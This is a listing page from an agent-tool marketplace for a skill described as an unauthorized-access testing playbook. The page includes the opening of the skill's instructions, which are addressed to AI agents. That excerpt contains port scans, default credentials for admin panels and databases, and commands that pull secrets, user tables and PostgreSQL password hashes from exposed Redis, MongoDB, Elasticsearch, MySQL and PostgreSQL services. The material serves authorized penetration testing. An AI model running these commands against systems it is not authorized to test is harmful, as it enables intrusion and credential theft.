Skip to content
Agentmart
Submit a tool

unauthorized-access-common-services

Unauthorized access triage for exposed common services.

Skill by langbyyi

IndexedApache-2.0★ 131
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/langbyyi-unauthorized-access-common-services

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Unauthorized access triage for exposed common services. Use when testing admin panels, databases, caches, message queues, cloud consoles, dev tools, reverse-proxy misconfigurations, Nginx off-by-slash, X-Forwarded-For trust, or cloud storage misconfigurations.

Use cases: testing

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/unauthorized-access-common-services

What's inside

Skill name
unauthorized-access-common-services
Description
Unauthorized access triage for exposed common services. Use when testing admin panels, databases, caches, message queues, cloud consoles, dev tools, reverse-proxy misconfigurations, Nginx off-by-slash, X-Forwarded-For trust, or cloud storage misconfigurations.
License
Apache-2.0
Instructions
359 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# SKILL: Unauthorized Access — Common Services — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Exposed service triage covers databases (Redis, MongoDB, MySQL, PostgreSQL, Elasticsearch), caches (Memcached), message queues (RabbitMQ, Kafka), admin panels (Jenkins, Grafana, Kibana, phpMyAdmin, Tomcat Manager), Java middleware (WebLogic, JBoss), reverse proxy mistakes (Nginx off-by-slash, X-Forwarded-For), and cloud storage (S3, GCS, Azure Blob). All testing must be authorized and prefer read-only proof of access.

## QUICK START

### Core Rule

Use only in authorized testing. Prefer read-only proof of access (read config, enumerate users). Do not modify data, delete records, or execute destructive commands.

### First-pass service discovery

```bash
# Quick port scan for common services:
nmap -sV -p 22,80,443,1433,1521,2181,2375,3000,3306,4443,5000,5432,5601,6379,6443,8080,8443,8888,9000,9090,9200,9300,11211,15672,27017,50070 TARGET
```

### High-value service checklist

| Service | Port(s) | What to Check |
|---------|---------|---------------|
| Redis | 6379 | Unauth access, CONFIG GET, INFO |
| MongoDB | 27017 | Unauth access, show dbs |
| Elasticsearch | 9200 | `/_cat/indices`, `/_search` |
| MySQL | 3306 | Default/root creds, empty password |
| PostgreSQL | 5432 | Default/postgres creds |
| Jenkins | 8080, 8443 | Unauth /script, /configure |
| Grafana | 3000 | Default admin:admin |
| Kibana | 5601 | Unauth dashboard access |
| phpMyAdmin | 80, 443 | Default root, no password |
| Tomcat Manager | 8080 | Default tomcat:tomcat |
| WebLogic | 7001 | Default weblogic:weblogic |
| RabbitMQ | 15672 | Default guest:guest |
| Memcached | 11211 | `stats`, `get` commands |

---

## 1. DATABASE SERVICES

### Redis (6379)

```bash
# Connect:
redis-cli -h TARGET

# Unauth check:
INFO
CONFIG GET *
SELECT 1
KEYS *

# Data extraction:
GET secret_key
LRANGE session_list 0 -1
HGETALL users
```

### MongoDB (27017)

```bash
# Connect:
mongo --host TARGET

# Unauth check:
show dbs
use admin
db.users.find()
db.system.users.find()
```

### Elasticsearch (9200)

```bash
# Unauth check:
curl http://TARGET:9200/_cat/indices
curl http://TARGET:9200/_search?pretty
curl http://TARGET:9200/_cluster/health

# Data extraction:
curl http://TARGET:9200/INDEX_NAME/_search?size=100
curl http://TARGET:9200/_all/_search?q=password
```

### MySQL (3306)

```bash
# Default credential check:
mysql -h TARGET -u root -p ''
mysql -h TARGET -u root -p 'root'
mysql -h TARGET -u root -p 'mysql'

# If connected:
SHOW DATABASES;
SELECT user, host FROM mysql.user;
```

### PostgreSQL (5432)

```bash
# Default credential check:
psql -h TARGET -U postgres -W
# Try: postgres, password, empty

# If connected:
\l
SELECT usename, passwd FROM pg_shadow;
```

---

## 2. CACHE AND MESSAGE QUEUE SERVICES

### Memcached (11211)

```bash
# Connect:
nc TARGET 11211

# Commands:

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC

Signals

Stars
131
Forks
11
Open issues
0
Last commit (this folder)
Aug 6, 2026 (2 months ago)
Last release
Oct 16, 2026 (12 days ago)

From GitHub (fetched Oct 24, 2026).

Details

License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from langbyyi

Cite this page

unauthorized-access-common-services skill. Agent Mart. https://agentmart.dev/skills/langbyyi-unauthorized-access-common-services (last updated 2026-10-24)